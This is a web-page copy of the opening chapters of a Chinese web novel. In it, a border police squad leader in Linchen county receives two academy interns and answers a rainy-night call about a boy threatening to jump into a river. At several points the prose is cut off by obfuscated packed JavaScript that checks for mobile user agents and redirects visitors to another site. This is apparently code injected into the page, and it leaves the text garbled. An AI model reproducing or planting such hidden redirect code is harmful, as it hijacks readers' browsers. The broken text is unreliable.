《这个警察我收了》 1. 新人报道1 中国与越南边境,左城临尘县,五月下旬。 程辛苑上午在左城市区做工作汇报,他是左城市临尘县边境中队队长,临尘县距左城市区好几百公里。下午程辛苑开了好几个小时的车回程,到临尘县的时候天已经彻底黑了。 由于边境中队距市中心太远,全队的人都住在警队大院的宿舍里。程辛苑回来第一件事就是去食堂吃饭,然后发微信给副队长司迁业,那人立马来了食堂。 程辛苑是昨天去市区的。他开了半天的车到了市区,晚上跟市里领导应酬,今天早起又汇报工作,下午开车回来,实在困乏得不行。 食堂的师傅这个点也下班了,程辛苑懒得做饭,干脆冲了一桶方便面。司迁业走进食堂看见他吃方便面,赶紧说: “你怎么就吃这个啊,你快到的时候应该提前告诉我,我好歹给你炒个菜、热个米饭。” “不用麻烦了。”程辛苑拉开旁边的椅子示意他坐,“我早点吃完就去睡觉了,累死我了。” “昨晚又喝酒应酬了?”司迁业关心地问。 程辛苑:“还行,有八项规定之后吃喝少多了。不过很奇怪……” 程辛苑大口吸溜面条道:“薛局跟我说了几句话,尤其昨天晚上吃饭的时候,特意跟我说好好训练新人。我就立刻叫你过来了,新人的档案都到了?” 薛明瑞是程辛苑的直属领导,最近给边境中队派过来两个警校快毕业的新人,进行毕业前的实习。 警校生的实习是双向选择,应届毕业生填写想去的警区,之后到该区进行实习。实习结束后,当地警区的带教警员进行成绩评定,成绩合格者可继续留用。 当然了,因为是双选,成绩合格者也可以放弃留用机会。 “你这也太心系工作了。”司迁业笑道,“这两个人的档案,我都放在你办公室了。你明天再看吧,今天先好好休息。” 程辛苑:“这两个人有什么特殊吗,先给我介绍介绍,我总觉得薛局好像话中有话。” “真要听啊?”司迁业看程辛苑吃得正香,不想打扰他吃饭的心情。 但只要程辛苑心里着急,他吃的就不是饭,只是果脯的食物。 程辛苑:“你这么说,果然是这两个人里,有人有问题?” 司迁业:“也没你想的那么严重,不是‘问题’。不过,可能需要多留心一下,有一个是……” 程辛苑:“是什么……你不用跟我欲言又止吧?” 程辛苑跟司迁业在警校就是好朋友,司迁业虽然比他小一岁,是他师弟,但两人之间从来没有高低级别的谦让和顾忌,一直是有话直说。 程辛苑见司迁业不答,抱起方便面桶喝光了面汤道:“行吧,看来我是休息不了了。我先看看他们的档案。” “哎,你真是……”司迁业不好嗔怪,只能说,“我陪你一起吧。” 他们出了食堂去了队长办公室,程辛苑桌上摆了两份档案,是司迁业打印并整理好的。 司迁业:“你看看。第一个小孩,个人能力就挺优秀的,第二个虽然简历没第一个好看,但看着也挺踏实的。” 程辛苑翻开简历。第一个新人叫赵寻越,研究生毕业,成绩排名非常靠前,在校期间获了不少奖学金,看起来综合能力十分不错。 第二个新人叫卫平琛,本科生,履历和成绩都没第一个人优秀,就连家庭背景…… 家庭背景? 程辛苑看到第二个人的“家庭信息”时,又翻回赵寻越的简历,这次才注意到赵寻越的“家庭信息”父亲一栏,写的是“左城警察学院院长赵昶安”。 “呵,这个?”程辛苑抖了一下第一份简历的纸,讪笑着问司迁业。 司迁业:“嗯。你听说过他爸爸吗?” 程辛苑再看看“赵昶安”这个名字,想了想:“没有,我毕业太多年了。咱们在校那会儿,院长姓什么来着?……好像是姓‘邱’?” 司迁业:“嗯,这个赵昶安新上来没几年。如果你说薛局有意提示你什么,那估计应该是这个人。” 程辛苑:“呵。” 程辛苑半嘲讽、半仔细地低头看赵寻越的简历。赵寻越母亲的身份没什么特殊,家庭成员一栏上,赵寻越还有一个小十多岁的妹妹。 程辛苑看着简历,奇怪地问:“这小子很优秀啊,来我们这穷山恶水干什么?” 左城本来就不是一线大城市,临尘县更是左城最边境的县城,人少,山多、河多,未开发的地方多,生活条件相对落后于大城市。 程辛苑是被警察理想“骗”过来的,司迁业是被程辛苑和警察理想“骗”过来的。两人苦哈哈在这里干了这么多年,才升到中队队长和副队长。赵寻越一个警察学院院长的儿子,完全用不着来这种穷乡僻壤实习。 程辛苑:“看这个人的成绩,也不像随机分配过来的?” 临尘县地处国境线,偏远又清贫,实习分配时,很多毕业生不愿意选这里。一般发配到这里的,都是被成绩靠前的人占据了其它片区名额的学生。 这些成绩相对较差的学生,随机分配到一些边远片区,当地考核警员都不会卡他们的成绩,基本都给“合格”,但多数学生实习结束后还是不愿留下。 程辛苑当上队长后,每年来实习的警校毕业生,他给的考核成绩都是“合格”,结果没一个人留下。 “赵寻越的确不是随机分配的。”司迁业说,“他是自己主动选的临尘县。倒是第二个人卫平琛,他是被随机分来的。” 程辛苑:“呵,那就更奇怪了。有他老爸这身份,这个赵寻越完全可以留在市区,来我们这里干嘛?他不会是来干什么跨国买卖的吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164139|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 临尘县在中越边境,和任何一个边境地区一样,走私屡禁不止。小到香烟、冻肉,大到毒品、枪支,程辛苑这句“跨国买卖”说的虽然夸张,但也有暗示赵寻越不怀好心的意思。 司迁业责怪道:“你别开玩笑了,薛局既然嘱咐了,咱们就用点心。” “干什么呀,凭什么?”程辛苑开玩笑顶了两句,“赵寻越是新人,来这里实习,第二个小孩就不是新人了吗?凭什么只对他用心?” 程辛苑是普通家庭出身,家住左城市区,家里有一对“老父老母”。 他母亲在银行工作,是个小经理,父亲是某事业单位普通公务员。老两口都是本分老实的人,他家能自给自足,但不是富裕家庭。 程辛苑当警察全凭一身热血,警队体系锻炼人,也熬人。你可以凭优秀的能力取得你应得的地位,也会遇到再优秀也无法超越的阶级。 不过程辛苑对赵寻越并没恶意,也不能说人家爹是当官的,儿子就肯定是恶霸。程辛苑三观还是正的,对人对事不会用“刻板印象”来判断。 司迁业了解他的为人,知道程辛苑就是嘴上过过瘾,迁就地说:“我指的用心是都用心,对两位新人都用心,可以吗,程队长?” 警队里其他警员都叫程辛苑“程队长”,司迁业跟他相熟,一般叫“辛苑”,这里故意叫他“程队长”,有点调侃的意思。 “哈哈,好了好了。”程辛苑笑说,“放你回去休息吧,我再看看他们的情况。” 司迁业:“好。还有那两个人的宿舍都收拾出来了,他们后天到。” 程辛苑:“行,知道了……对了,我看天气预报,明后天可能要开始下大雨,让大家做好准备,可能得随时出警。” 司迁业:“我看到预报了,今天大家还讨论来着,放心吧,我跟他们说。你别熬了,早点休息。” 程辛苑:“好。” 司迁业离开办公室,程辛苑又开始看新人的简历。 程辛苑从警校毕业后就来了临尘县,不是成绩差,而是主动选择。一来,他大学时参加扶贫支教,在临尘县待了一个月,深感这里需要警察,需要帮扶。 程辛苑是个非常有职业理想的人,从小对正义的向往、对警察这个职业的崇拜,让他义无反顾来到遥远的边境区县。 二来,程辛苑的家境条件,在警队体系里是实打实的普通。他全家都没有干这行的,要在大城区晋升非常困难,他索性选择偏远地区。竞争少、内斗少,他可以把更多精力用在更有用的地方。 所以程辛苑年纪不大就当了中队队长,却也只能在“鸟不拉屎,狗不生蛋,乌龟不靠岸”的临尘县。 程辛苑翻看简历的时候着实好奇,这个叫赵寻越的年轻人为什么会选择临尘县,而薛明瑞对他的暗示,是否还有其它意思。 2. 新人报道2 第二天,临尘县开始下大雨。 临尘县地处山麓以北,紧靠大江大河,夏季多雨。大雨的时候会遇到各种各样的问题,比如房屋倒塌、交通堵塞、人员伤亡等等。 而边境中队的警员并不多,遇到恶劣天气所有人都需要出警,一忙起来就是24小时、48小时连轴转,基本无休。 这天中午,边境中队陆续接到报案,全队的人分成两两一组,变成几个小分队出发处理警情。一般分组时,都是程辛苑、司迁业和曹冲各带一人,这三个人是来队里时间比较长的。 曹冲比司迁业小一岁,综合素质很好,就是为人比较随意,有时候说话没遮没拦。 曹冲从警校毕业后本来在左城市区工作,结果说错话得罪了领导,被调到偏远的临尘县。 他刚来队里时特别沮丧,程辛苑和司迁业就轮番鼓励他。曹冲本身就是个热血、好心肠的小年轻,在哪都是当警察,于是踏踏实实地在临尘县干,三人逐渐成了好朋友。 这次出警,程辛苑带的是马全全。这是来队里年头最短的一个小伙子,年轻、有朝气、心眼实诚。 马全全本来是交给曹冲带教的,遇到比较棘手的案子或出警,程辛苑怕曹冲一人带他,既分心案情又要照顾“新人”,所以有时自己会接手。 像这种大暴雨的警情,警察不仅要办案,还要应付危急天气,程辛苑宁愿自己辛苦带新人,也不愿增加其他人的负担。 暴雨整整下了两天,第三天原本预定到达的新人,因为大雨封路没有到,直到第四天,两位警校学生终于“姗姗来迟”。 那天晚上快八点,程辛苑和马全全才处理完警情。回来路上,司迁业已经发信息给他,说两个警校新人到了。 程辛苑小心谨慎地在夜路、雨路里开车,想着这两个新人分给谁带。 开车回到警队,程辛苑让马全全快回宿舍休息,待会喊他吃晚饭。因为这几天警情多,司迁业让食堂师傅晚点下班,给晚回来的兄弟们做饭。 马全全蹚着水跑回宿舍,程辛苑停好车。他身上穿着雨天警队执勤的荧光绿色外套,也懒得打伞了,罩上外套的帽子快走了几步,进了大厅。 司迁业带着两个新人在等他。看程辛苑淋着雨,司迁业连忙问:“回来了,怎么不打把伞啊?还是雨下小了?” 程辛苑进了大厅,先摘了帽子,视野一下开阔了许多。他顾不得落到脸上和脖子里的水,一眼就看见两位新人,准确的说,是一眼就看见赵寻越。 赵寻越本人和照片上有点差距。看简历的一寸照片时,赵寻越是个小寸头,程辛苑只觉得这小伙子长得挺精神,看到真人后,程辛苑发现赵寻越不仅精神,而且体格壮实。 程辛苑在审视赵寻越,新人赵寻越也神情严肃地盯着程辛苑,从上到下地打量他。 程辛苑当天淋了一下午的雨,衣服、裤子全是湿的,头发、脸上都是水,疲乏又狼狈。 要不是多年在一线练出来的底气,和自己的身高给撑场,程辛苑乍一看见赵寻越,还真有种镇不住他的感觉。 站在另一边的卫平琛,状态就跟赵寻越完全不一样。 首先,卫平琛个子比赵寻越矮,站在赵寻越身边略显局促。赵寻越因为气质不同,整个场合有一种被他撑起来的感觉,而卫琛平就像缩在角落里的、阴沉又安静的小孩。 司迁业见程辛苑不说话,观察着两个新人,立刻说:“哎,我来介绍一下。” 司迁业转身跟两个新人说:“这位就是咱们边境中队的队长,程辛苑,程队长。辛苑,这是两个新来的警校实习生,赵寻越,卫琛平。” 一般这种时候,都应该是后备主动跟前辈问好,卫琛平倒是小声叫了下“程队长好”,而赵寻越没说话。 只是当时太过仓促,程辛苑没注意这种细节,直接跟司迁业说:“让食堂师傅做顿饭吧,待会叫上小马一起吃。都八点多了,我估计他得饿坏了。” 司迁业:“行,这两个人也没吃呢,你们一起吧。” “你们也没吃?”程辛苑有些意外,又看了赵寻越一眼。 司迁业道:“他们到的时候我们都吃完晚饭了。本来要单给他们做,他们说不饿,听说你还在外面,就说等你回来一起吃。” “哦?”程辛苑漫不经心地发了一声,一边脱了荧光绿外套。 司迁业:“我去跟师傅说,做好了叫你们。” “嗯。你们——”程辛苑指指两个新人,“来我办公室。” 两个警校生跟着程辛苑进了队长办公室,他抽了好几张纸巾擦脸又擦衣服,示意两个人说:“别紧张,坐吧。” 卫琛平看了赵寻越一眼,发现那人没有要坐的意思,自己也没敢坐。 程辛苑笑了:“辛苦你们了,大晚上的才到。不过也好,提前感受一下临尘县的雨季,夏天这里下大雨是常态。” 程辛苑说完又有点失落。这两个人的实习期只有一个月,六月末就毕业了,到时候未必会留下来,也未必会见到临尘县的夏天。 “刚才司副队长给你们介绍情况了吗?”程辛苑擦着脸上的雨问,“我们这里人少,可是工作不少,这一片都归我们管。日常出警就不说了,还有扫黑、打击贩毒走私、巡界,都是我们的工作。你们以前有人来过这边的蟒锡山吗?” 蟒锡山是中越边境的屏障,巍峨的大山,弯曲的走道,无数的界桩。程辛苑带着一整个警队的人,用一腔年轻的热血,守护着祖国的南端。 “我来过。” 赵寻越说话了,这是他见到程辛苑以后,说的第一句话。 “你来过?”程辛苑有点意外,擦脸的动作都停下了。 蟒锡山虽然远近闻名,可并不是著名旅游景点。临尘县政府拨款少,开发晚,这里旅游设施配套不完善,主动慕名来玩的人并不多。 程辛苑本科毕业之前就在临尘县实习了,他笑着问赵寻越:“你是过来旅游的吗?什么时候来的,上学的时候?那说不定咱们还见过。” 赵寻越没接他的话,而是紧盯着他的脸。 程辛苑收了笑意,回望着他。说实话,程辛苑第一眼看到赵寻越,多少有几分不喜欢。 薛明瑞特意的提醒,让程辛苑感受到这小子获得的“偏爱”。程辛苑是无权无势靠自己本事奋斗的人,对于备受照顾的对象,自然反感。 但他不会因为这点,故意给赵寻越使绊子。毕竟赵寻越的简历那么亮眼,若他真是个有真才实干的人,又一心来偏远地区,那程辛苑反倒对他刮目相看。 真正让程辛苑排斥的,是赵寻越的眼神。 赵寻越的父亲是警察学院的院长,那履历肯定是优秀,手段肯定是强硬,不然不会坐到那个位置。赵寻越可能是家庭出身的缘故,眼神中天然带着一种戒备和攻击混杂的感觉。 就像现在,程辛苑明明只是说句话缓和一下气氛,赵寻越看他的眼神,要么是抵触对方往深了问、探究自己的秘密,要么是无缘无故下一秒就要跳起来闹事。 程辛苑把擦脸的纸巾揉成纸团,对着办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164140|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公室门口的纸篓一扔。那纸篓距离他很远,纸团应声入篓后,与垃圾袋碰触发出“砰”的一声,好像缩小版手|枪射出子弹的声音。 然后程辛苑再转头看赵寻越,若那人还以那般眼神盯他,程辛苑可能会说出什么不中听的话。 而赵寻越掩了目光,一根手指戳戳自己的脸道:“你,这里……” “嗯?”程辛苑一惊,飞快上手摸脸,结果摸到擦水留下的纸巾屑。 程辛苑:“哈……哈哈……” 他尴尬地笑笑,心想靠,这小子不就看自己脸上有东西吗,至于用这种盯嫌犯的眼神吗。 程辛苑两只手快速拍拍脸,这时司迁业进来说:“辛苑,又有警情了。一个是西樵河那边,有个小男孩要跳河。还有一个在联三区,有人报警接到诈骗电话。” “哼,下着雨骗子都不消停。”程辛苑冷笑,“知道了,让曹冲带个人,准备……” “我们能跟着去吗?”程辛苑的命令还没下完,赵寻越打断了他的话。 赵寻越和卫琛平本来站在一条线上,这会儿往前走出一步,站在司迁业身前,看得出很想跟车出警。但卫琛平还在原地,而且程辛苑感觉卫琛平缩了身子。 按理说,新人第一天报到,又赶上大雨和黑夜,出于安全考虑和出警难度,是不应该带他们去的。 一来他们不熟悉环境,夜雨容易发生危险。二来不知道他们是否了解一线工作,如果他们镇定自若、不惹事还好,最怕他们没见过一线场面,到现场帮倒忙。 程辛苑有些犹豫,反问道:“你们,想去?” “我想去。”赵寻越毫不迟疑,意愿写在脸上。 程辛苑又问卫琛平:“你呢?” 卫琛平明显是不愿意的,或者说没有赵寻越那么迫不及待。但当着领导程辛苑、小领导司迁业、一起入职的同事赵寻越的面,他要想混下去,无论如何不能说“不”,所以只好被迫点了点头。 程辛苑看在眼里,想了几秒对司迁业说:“让曹冲带一个人,别找小马了,然后他们带卫琛平去联三区。咱们去西樵河。” 司迁业:“收到!” 司迁业一出去,赵寻越立刻问:“我呢?是……” 如果让卫琛平跟另一队,那么赵寻越猜程辛苑应该会让自己跟他们这队,但他有些不确定。 程辛苑没直接回答赵寻越的问题,而是问他们拿到警队队服没有。 “副队长说放我们宿舍了,但我们还没试。”这又是赵寻越说的,卫琛平全程没怎么答话。 程辛苑穿上自己的执勤外套道:“那你们借两个出勤的荧光外衣吧。小卫,曹冲经验很丰富,你跟着他,有不明白的多问。走吧!” 程辛苑自顾出办公室往大厅走,这时赵寻越才着急大声问:“那我呢?” 程辛苑没停下脚步,赵寻越只能看到他的背影,但他觉得程辛苑微不可察地“呵”了一声。 然后就听那人自信满满地说:“跟着我。” 带着一种盛气凌人的对抗感,和一种迎接难题的不屑感。 赵寻越即将研究生毕业,今年二十四岁,他把来到临尘县要面对的一切人和事,当作未知,冒险,和挑战。 而程辛苑今年二十八岁,本科毕业后在临尘县待了六年,他只把赵寻越当一般的毛头小子看待。 不管是警察学院院长的儿子,还是狂风暴雨的夜晚事故,程辛苑都不当回事。 他当警察的目的,是时刻准备着,把这个世界带回正轨。 3. 救人一命1 到警队大院取车时,雨势有变大的趋势。司迁业找了两件出勤的荧光外套给赵寻越和卫琛平,曹冲带着一个警员也准备上车,这时马全全冒雨从宿舍跑出来了。 “程队长、队长!” 他跑到程辛苑身边,喘着气说:“我也想去!” “行了你,这么晚了。”程辛苑站在车边,“迁业让食堂做饭了,你去吃点然后休息吧。” 马全全摇摇头:“你也没吃饭呢,你都出警了。” 站在他们身边的赵寻越看了程辛苑一眼。他一心想去一线,都忘了吃饭这件事,而且他真的不太饿。 程辛苑看马全全心善,欣慰地说:“行了,你这份惦记哥领情了。你今晚早点休息,明天上午值班,我们这些人明天上午才能倒班休息,懂了吗,这是命令。” 他拍拍马全全的肩膀,让他回去,这时又看司迁业站在曹冲那辆车边,曹冲正在帮卫琛平弄衣服。 “你们怎么了?” 程辛苑大喊,司迁业回说:“小卫这件外套有点小,套不进去。” “啧……” 程辛苑不耐烦了一下,下雨天光线暗,警察执勤时都会穿荧光绿的外套,让行人、驾驶员看到自己,保障自己和对方安全。 他又看了赵寻越一眼,那人已经穿好了荧光外套,准备利索就等出发了。 “穿我的吧!” 马全全脱下外套跑过去。他眼睛本来就小,满脸都是雨,这会儿眯成一条线,几乎睁不开了。其实卫琛平根本不想出这趟警,正觉得来人多管闲事,结果他看到一个像没长开的、年轻的小警察冲到他面前,举着衣服硬塞到他手里。卫琛平只能尴尬地接过,碰到小警察的手时,感觉到了一点点温暖。 可这一点温暖也抵不住卫琛平的心凉,他是饿,是真饿,又饿又累。幸亏上车之前,副队长司迁业塞给他用塑料袋装的几个包子,然后车门关上前,那个看着很年轻的小警察对他说:“注意安全,加油!” 照顾好曹冲那辆车,司迁业跑向程辛苑这边:“辛苑,我开车吧!” “好。” 程辛苑刚出警回来,没吃饭也是疲乏,司迁业好意照顾他,程辛苑也就领情了。只是赵寻越打开后排车门时,程辛苑忽然说:“你——你坐副驾驶。” 赵寻越不明所以。三人上了车,司迁业把剩下的包子分给程辛苑和赵寻越:“你们吃点吧,我特意去食堂拿的,也给小卫了。” “嘿,就知道你周到。” 程辛苑接过包子,狼吞虎咽地吞了三个,赵寻越没有动,司迁业问:“你不饿?” “还行。” 赵寻越一直盯着前方,司迁业把警情简单讲了下,从前视镜里看到后排的程辛苑一边吃一边听,没工夫说话,想了想对赵寻越道:“这样,我再给你讲讲咱们这会儿走的路线吧。” “嗯?” 司迁业转着方向盘拐了个弯:“今晚太黑了,周边也看不清,不过你能有个大概印象。你开车技术怎么样?” “挺好。” 这小伙子挺自信,司迁业笑了,说:“那就好,咱们这里不比左城市区,小路多,路修的不好,雨季又长,赶上下雨天出警,开车技术太重要了。待会要到的西樵河,是临尘县的一条河,咱们现在走的这条路叫……” 司迁业说得很慢也很详细,赵寻越认真听着,脑袋里在快速地记,眼睛仔细观察周围。等司迁业说得差不多了,后排程辛苑的包子也吃完了,两人非常默契地在前视镜里对望了一下,程辛苑点点头。等车子快到西樵河,司迁业便不再多说,专心开车了。 司迁业跟程辛苑在一起搭档五年,加上学校相处的三年,两人实在太有默契了。那天司迁业劝程辛苑对两个新人都用心,程辛苑就特意让赵寻越在副驾驶“认路”,程辛苑这个人有时候嘴上过瘾,其实内心很善良。 等到了西樵河边上,雨又大了起来,河边微弱的路灯下围了几个人,有围观的群众,有当事人的家属,还有消防人员。程辛苑一行下了车走过去。 这次的警情主要是一个13岁的叫崔志的小男孩,晚上趁着雨夜离家出走。报案人是一个路过此地的行人,发现小男孩在河边徘徊,上前一叫,结果小男孩说自己要跳河,吓得行人赶快报案。 小男孩的奶奶接到通知后赶来了,男孩的父母没有到。程辛苑过去交流情况,男孩的奶奶浑身湿透,吓得腿软瘫在地上,不停地低声哭诉,身边围着的好心路人给她打了伞,还有一个消防员。 “兄弟,什么情况?” 程辛苑等三人过去,司迁业蹲下身安慰老奶奶,消防员给他们介绍情况。 “男孩的奶奶说小孩下午放学就没回家,接到报案就赶过来了。男孩是单亲,妈妈自杀了,爸爸去城里打工,每年只有春节回来,我们给他打电话却联系不上。男孩家里还有一个爷爷,腿脚不好没过来。” 消防员简单介绍完情况,坐地上的老奶奶颤巍巍地抓着司迁业的手说:“警察同志、警察同志!一定要救小志啊,他不能有事啊……求求你们了……” 司迁业一边拍着老奶奶的后背,一边安慰,赵寻越看程辛苑眉头紧锁。 “你们那边安排救援了吗?什么情况?”程辛苑问消防员。 “两个人在劝导,一人准备装置下水。但现在雨还没停,水位高,我们不敢冒然下去。最好的办法是把孩子救下来。” 程辛苑思考了一瞬:“行。迁业——”司迁业站起来回头看他,“你在这安抚老人情绪,给她家里人打电话,最好联系到小孩的爸爸。我去看那孩子。” “没问题。” 程辛苑刚迈步往河边走,赵寻越想抓住他问“我呢”,可程辛苑的外套带水,赵寻越的手指只是蹭到衣袖就瞬间划掉。程辛苑好似有预感般,回头叫他:“跟着我!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164141|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵寻越总觉得,程辛苑对他说话的语气里有一丝轻蔑,仿佛这下雨天,他这个警校生第一次出警,除了“跟着”老警员之外根本做不了别的。赵寻越没出声,踏着水坑跟在程辛苑身后。 两人来到河边,望见雨中萧索站立的男孩的背影。两个消防员站在男孩一左一右不远处喊话,程辛苑走过去道:“兄弟,警察。他怎么样啊?” “唉,一直不怎么说话,不知道他情绪状况。” 赵寻越眯起眼睛去看,那男孩13岁,但个子很矮,整个人非常单薄,小身板立在河边,好像一个急湍水流就能把他卷走似的。他心下着急,就听程辛苑大喊: “小朋友,我是警察叔叔,你发生什么事了,跟叔叔说说啊——” 赵寻越马上斜眼瞥他,程辛苑竟然直接称呼自己为“叔叔”。他方才在警队第一眼见到程辛苑,这人被雨水打得疲顿又苍白,赵寻越总感觉他看着年轻,不太靠谱,想他可能比自己大不了几岁,谁料在外面遇到警情,竟然直接把自己说得这么“老”。 “有困难你可以跟我说,警察叔叔可以帮你解决各种问题,你先过来好不好——”程辛苑继续喊着,“你看这雨,待会不知道是不是还会变大,要是你被风啊、雨啊卷跑了怎么办——你奶奶一直担心呢——你听警察叔叔的话,过来一点好不好?” 程辛苑喊了几句,那小男孩纹丝不动,不回话也不做任何其它动作。程辛苑象征性地往前踏了两步,没想到那小男孩立刻严肃地吼道:“再过来我就跳下去!!!” 那男孩第一次与程辛苑、赵寻越对视,他眼中有一股狠厉的决绝,程辛苑一惊立马后退:“好好好!我不过去……” 程辛苑稳住身子后退,像是跟赵寻越说,又像是跟消防员说:“这小孩状态不对啊……” 赵寻越想问“怎么不对”,一个消防员立刻会意:“我们来的时候就是,完全不慌、不叫嚷,关键是不说话,不知道怎么劝。” 程辛苑想了一瞬,大概推算了一下小男孩待在河边的时间,然后对赵寻越说:“你在这里看着。” 他往司迁业那边走。小男孩的奶奶仍旧坐在地上抽抽泣泣,消防员拉着她的手安慰,想把她安置到后方的车上,既安全又避雨,但是老人一方面心里恐惧、害怕,体力不支走不动,一方面又心系孙子、情绪不稳、不愿离开河边。 司迁业离开一点老人所在的包围圈,独自打电话,程辛苑走过去着急地问:“找到那小孩的爸爸了吗?” 司迁业一边耳朵贴着手机听动静,一边道:“一直在打,打不通,没信号,估计是这雨的缘故。” 临尘县地理位置偏僻,大风、大雨时偶尔会停电、断信号。 程辛苑道:“这小孩状态有问题。不哭也不急,感觉很镇静,也不知是装样子,还是狠了心就要跳。你问没问他所在的学校,有没有校园暴力或者学习成绩下滑之类的?” 4. 救人一命2 “我问过。”司迁业把手机从耳边拿开一点,“他奶奶完全不知道,不过说这小孩从小远离父母的缘故,性格的确有点孤僻,在学校没什么朋友。” “唉……” 程辛苑叹了口气,司迁业挂了电话:“不行。要不就是没信号,要不就是没人接,短时间内很难联系上他爸爸了。” “给他学校打,让他班主任之类的过来,看能不能劝……” “小志!小志——” 程辛苑话没说完,就听身后男孩的奶奶两声大吼,程辛苑和司迁业快速转身。小男孩的奶奶几乎全身瘫在地上号啕,她周围的人用力拉住她。 程辛苑立即跑到河边问消防员:“怎么回事?!” “雨又转大了,还刮风,那小孩可能脚下打滑了,刚才差点掉下去!我让我们的人下水吧,我怕小孩体力不行突然掉下去。” “行!我们的人联系学校呢,辛苦兄弟!” 一名消防员撤后,与队员准备下水装置。程辛苑看那小男孩在河边弯下腰,仿佛被雨水砸累了脊梁,他怕这小孩真的因天气原因发生意外,试探地叫道: “小朋友,我们联系你爸爸了,他说立刻就回来看你!” 那男孩依然不为所动,另一名消防员道:“刚才劝过了,说他爸爸也没用。” 程辛苑不放弃又喊:“也联系你老师和同学了,他们也都会过来。你奶奶就在后边哭呢,你爷爷还在家里,这些人你都狠下心以后不见了吗?你舍得吗?” 那男孩还是一句话都不说,消防员摇摇头,接着就无奈地重复程辛苑的话,什么“父母、家人、老师、同学都舍不得你”之类的。赵寻越这才慢慢明白,说这小孩情绪不对,是因为他感情上没有任何波澜,救援人员抓不住他自杀的原因,无从下手相劝。可赵寻越认为这小孩并不是真的想跳河,方才刮风落雨时,那小孩紧紧抓住栏杆,根本不是想求死的举动。 “他不是真的想跳,要不就逼……” 赵寻越低声说了一句,程辛苑立马转头瞪他:“什么?” 程辛苑的眼神很凶,虽然他不知道赵寻越要说什么,凭直觉判断,这家伙要说的很可能是不合时宜的话。赵寻越还要再开口时,司迁业突然喊:“辛苑,联系上小孩的爸爸了!” 司迁业本来是高兴的,可他喊的声音很大,那小孩也有了反应。程辛苑怕刚才说的话穿帮,匆匆离开河边拿过司迁业的电话,压低声音道:“喂,你是崔志的父亲吗?” 电话那边呲呲啦啦,杂音很大,说话的男人,带着很重的左城口音:“是……他……我也……” 对方说三句顶多听清几个字,程辛苑打断道:“我是临尘县边境中队的警察,你别慌先听我说,你能不能赶回临尘县?” “不……不……” 对方含糊说了两句,大概是路程太远一时半会儿回不来,程辛苑心中奇怪,儿子都快跳河自杀了,当爸爸的竟然还在推脱路远。 “那好吧,你劝一下小孩行不行?待会我们开公放,你就稳定他的情绪,让他先从河边下来……” “哎这个警察!” 程辛苑的话再一次被打断,这次他气鼓鼓地转头,看到的不是小男孩要跳河,而是赵寻越往前方走了几步,紧紧盯着那男孩,消防员在一旁吼他。 “c——” 程辛苑的脏字快憋出来了,把电话甩给司迁业,飞速跑过去叫:“赵寻越你——” 那小男孩抓着护栏,咬着牙,一点点退后,赵寻越就亦步亦趋地逼迫他向后走。程辛苑在叫赵寻越的名字,但不敢向前,怕把小男孩逼急。赵寻越不理他的喊声,顶着雨对小孩高喊:“你不想跳,是不是!” 孩子都有一种想要吸引大人注意的天性,他们哭闹、叫喊、做一些出格的举动,是因为他们不安,想被人拯救,最好倒在大人怀中。赵寻越是在场所有实施救援的人里最年轻的,所以他敏锐也决绝,他能理解孩子的心理,与小男孩共情,也最没有耐性,希望靠强制力使小孩就范。 他步步向前,单调的声音响在雨中:“你想要什么、发生什么困难,我们都能给你解决。我们是警察,相信我们,好吗……” 如果小男孩一直往后退,另一侧的消防人员就会截住他。程辛苑在后方看着,现在只希望小孩不会心急真的跳江,按目前的情况,说不定赵寻越真能吓住他,救下孩子。 那男孩也知道再往后退就是“死路”,大风大雨里站了这么久,他身体的力气在耗尽,可僵持到现在,他一点都不愿敞开心扉。赵寻越看他脸色苍白,一只手开始抖雨水,怕他抓不住栏杆,又走近了几步。 “相信警察,一切都会好的。你爸爸也在来的路上……” 赵寻越也学着程辛苑的假话说,但是那小孩突然张嘴道:“可是我……我想要……” 赵寻越还要往前争取,突然停下问:“你想要什么?” 风声、雨声在耳边呼啸,赵寻越的眼睛被雨水打湿,他抹了一把脸,好像看到小男孩的眼睛流出眼泪。 “我想要……我想要……” 小男孩肩膀发抖,微微弱弱地啜泣。程辛苑立刻警觉地对消防员说:“不行,他情绪有点变了!你们的人准备了吗?” “已经下水了放心吧!” 赵寻越也觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 